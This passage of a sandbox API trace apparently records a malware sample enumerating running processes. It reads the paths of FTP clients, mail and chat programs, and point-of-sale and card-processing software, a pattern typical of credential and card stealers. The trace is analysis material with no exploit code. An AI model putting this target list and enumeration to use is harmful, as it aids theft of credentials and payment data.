lpUserTime=0x1795c0) returned 1 [0240.384] CloseHandle (hObject=0xfc) returned 1 [0240.384] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0240.472] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xfc [0240.472] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\leechftp.exe" (normalized: "c:\\program files\\windows journal\\leechftp.exe")) returned 0x2d [0240.472] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Journal\\leechftp.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\leechftp.exe") returned="C:\\Program Files\\Windows Journal\\leechftp.exe" [0240.472] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.472] CloseHandle (hObject=0xfc) returned 1 [0240.473] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0240.474] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x918) returned 0xfc [0240.474] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" (normalized: "c:\\program files (x86)\\windows mail\\ncftp.exe")) returned 0x2d [0240.474] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe") returned="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe" [0240.474] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.475] CloseHandle (hObject=0xfc) returned 1 [0240.475] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0240.476] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x92c) returned 0xfc [0240.476] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\notepad.exe" (normalized: "c:\\program files\\common files\\notepad.exe")) returned 0x29 [0240.477] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Common Files\\notepad.exe" | out: _Dest="C:\\Program Files\\Common Files\\notepad.exe") returned="C:\\Program Files\\Common Files\\notepad.exe" [0240.477] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.477] CloseHandle (hObject=0xfc) returned 1 [0240.477] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0240.479] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x96c) returned 0xfc [0240.479] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows NT\\operamail.exe" (normalized: "c:\\program files\\windows nt\\operamail.exe")) returned 0x29 [0240.479] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows NT\\operamail.exe" | out: _Dest="C:\\Program Files\\Windows NT\\operamail.exe") returned="C:\\Program Files\\Windows NT\\operamail.exe" [0240.479] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.479] CloseHandle (hObject=0xfc) returned 1 [0240.479] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0240.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x988) returned 0xfc [0240.480] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\outlook.exe")) returned 0x37 [0240.480] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe" [0240.480] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.480] CloseHandle (hObject=0xfc) returned 1 [0240.481] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0240.481] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x990) returned 0xfc [0240.481] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" (normalized: "c:\\program files (x86)\\uninstall information\\pidgin.exe")) returned 0x37 [0240.482] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe") returned="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe" [0240.482] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.482] CloseHandle (hObject=0xfc) returned 1 [0240.482] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0240.482] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x998) returned 0xfc [0240.483] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" (normalized: "c:\\program files (x86)\\windows mail\\scriptftp.exe")) returned 0x31 [0240.483] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe") returned="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe" [0240.483] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.483] CloseHandle (hObject=0xfc) returned 1 [0240.483] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0240.484] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a0) returned 0xfc [0240.484] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\skype.exe")) returned 0x35 [0240.484] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe" [0240.484] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.484] CloseHandle (hObject=0xfc) returned 1 [0240.484] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0240.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9a8) returned 0xfc [0240.485] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\smartftp.exe")) returned 0x35 [0240.485] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe") returned="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe" [0240.485] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.485] CloseHandle (hObject=0xfc) returned 1 [0240.485] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0240.486] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x97c) returned 0xfc [0240.486] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" (normalized: "c:\\program files (x86)\\common files\\thunderbird.exe")) returned 0x33 [0240.486] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\thunderbird.exe") returned="C:\\Program Files (x86)\\Common Files\\thunderbird.exe" [0240.486] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.486] CloseHandle (hObject=0xfc) returned 1 [0240.487] malloc (_Size=0xd380) returned 0x1ead3d8 [0240.487] free (_Block=0x1ea46d0) [0240.487] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0240.487] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x978) returned 0xfc [0240.487] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\trillian.exe" (normalized: "c:\\program files (x86)\\common files\\trillian.exe")) returned 0x30 [0240.488] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Common Files\\trillian.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\trillian.exe") returned="C:\\Program Files (x86)\\Common Files\\trillian.exe" [0240.488] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.488] CloseHandle (hObject=0xfc) returned 1 [0240.488] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0240.489] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb58) returned 0xfc [0240.489] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" (normalized: "c:\\program files\\windows portable devices\\webdrive.exe")) returned 0x36 [0240.489] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" | out: _Dest="C:\\Program Files\\Windows Portable Devices\\webdrive.exe") returned="C:\\Program Files\\Windows Portable Devices\\webdrive.exe" [0240.489] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.489] CloseHandle (hObject=0xfc) returned 1 [0240.489] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0240.490] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb60) returned 0xfc [0240.490] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\whatsapp.exe" (normalized: "c:\\program files\\windows journal\\whatsapp.exe")) returned 0x2d [0240.490] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Windows Journal\\whatsapp.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\whatsapp.exe") returned="C:\\Program Files\\Windows Journal\\whatsapp.exe" [0240.490] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.490] CloseHandle (hObject=0xfc) returned 1 [0240.490] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0240.491] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb68) returned 0xfc [0240.491] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" (normalized: "c:\\program files (x86)\\windows media player\\winscp.exe")) returned 0x36 [0240.491] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe") returned="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe" [0240.491] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.491] CloseHandle (hObject=0xfc) returned 1 [0240.491] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0240.492] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb70) returned 0xfc [0240.492] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" (normalized: "c:\\program files (x86)\\common files\\yahoomessenger.exe")) returned 0x36 [0240.492] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe") returned="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe" [0240.492] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.492] CloseHandle (hObject=0xfc) returned 1 [0240.492] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0240.493] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb78) returned 0xfc [0240.493] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Internet Explorer\\active-charge.exe" (normalized: "c:\\program files\\internet explorer\\active-charge.exe")) returned 0x34 [0240.493] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\Internet Explorer\\active-charge.exe" | out: _Dest="C:\\Program Files\\Internet Explorer\\active-charge.exe") returned="C:\\Program Files\\Internet Explorer\\active-charge.exe" [0240.493] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.493] CloseHandle (hObject=0xfc) returned 1 [0240.494] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0240.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb80) returned 0xfc [0240.520] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" (normalized: "c:\\program files (x86)\\uninstall information\\accupos.exe")) returned 0x38 [0240.520] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" | out: _Dest="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe") returned="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe" [0240.520] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.520] CloseHandle (hObject=0xfc) returned 1 [0240.520] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0240.521] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb88) returned 0xfc [0240.521] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\afr38.exe" (normalized: "c:\\program files\\dvd maker\\afr38.exe")) returned 0x24 [0240.522] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files\\DVD Maker\\afr38.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\afr38.exe") returned="C:\\Program Files\\DVD Maker\\afr38.exe" [0240.522] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.522] CloseHandle (hObject=0xfc) returned 1 [0240.522] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0240.523] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb90) returned 0xfc [0240.523] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" (normalized: "c:\\program files (x86)\\msbuild\\aldelo.exe")) returned 0x29 [0240.523] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\aldelo.exe") returned="C:\\Program Files (x86)\\MSBuild\\aldelo.exe" [0240.523] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.523] CloseHandle (hObject=0xfc) returned 1 [0240.523] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0240.524] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb98) returned 0xfc [0240.524] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" (normalized: "c:\\program files (x86)\\windows mail\\ccv_server.exe")) returned 0x32 [0240.524] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe") returned="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe" [0240.524] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.524] CloseHandle (hObject=0xfc) returned 1 [0240.524] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0240.525] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba0) returned 0xfc [0240.525] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" (normalized: "c:\\program files (x86)\\msbuild\\centralcreditcard.exe")) returned 0x34 [0240.526] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe") returned="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe" [0240.526] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.526] CloseHandle (hObject=0xfc) returned 1 [0240.526] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0240.526] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xba8) returned 0xfc [0240.526] GetModuleFileNameExW (in: hProcess=0xfc, hModule=0x0, lpFilename=0x178f5c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\creditservice.exe")) returned 0x36 [0240.527] wcscpy (in: _Dest=0x179398, _Source="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe" [0240.527] GetProcessTimes (in: hProcess=0xfc, lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0 | out: lpCreationTime=0x1795a8, lpExitTime=0x1795b0, lpKernelTime=0x1795b8, lpUserTime=0x1795c0) returned 1 [0240.527] CloseHandle (hObject=0xfc) returned 1 [0240.527] Process32NextW (in: hSnapshot=0x104, lppe=0x179168 | out: lppe=0x179168*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0240.528] 